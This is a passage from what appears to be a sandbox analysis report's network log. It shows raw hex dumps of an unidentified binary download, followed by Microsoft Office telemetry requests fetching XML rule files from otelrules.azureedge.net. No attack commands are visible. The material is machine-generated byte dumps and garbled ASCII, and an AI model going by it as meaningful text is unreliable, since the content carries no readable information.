BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-16 18:22:33 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-16 18:22:33 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-16 18:22:33 UTC	16288	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:33 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182233Z-16547b76f7fm8pcwhC1DFWaxcc00000001b00000000021ps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182233Z-16547b76f7fhv4d5hC1DFW7h0n00000001eg00000000ka62 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:33 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 86e20b26-901e-00a0-18ab-366a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182233Z-1866b5c5fbb7km9phC1DFWr2sc00000001xg00000000hb4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182233Z-1866b5c5fbb2cz68hC1DFW9ytc000000025g00000000cgbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04602d1e-901e-00ac-286c-37b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182233Z-164f84587bfm8kdnhC1DFWey4g000000038g00000000ay7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 4f50471b-101e-0079-73af-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182234Z-16547b76f7fqqjnnhC1DFWxv7400000001k0000000001a5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 12429fe2-201e-00aa-2d91-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182234Z-1866b5c5fbbkbjq9hC1DFWf1es00000002600000000024zy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182234Z-16547b76f7fw2955hC1DFWsptc00000003q0000000008g4m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182234Z-1866b5c5fbb2cz68hC1DFW9ytc000000028g000000004ekb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
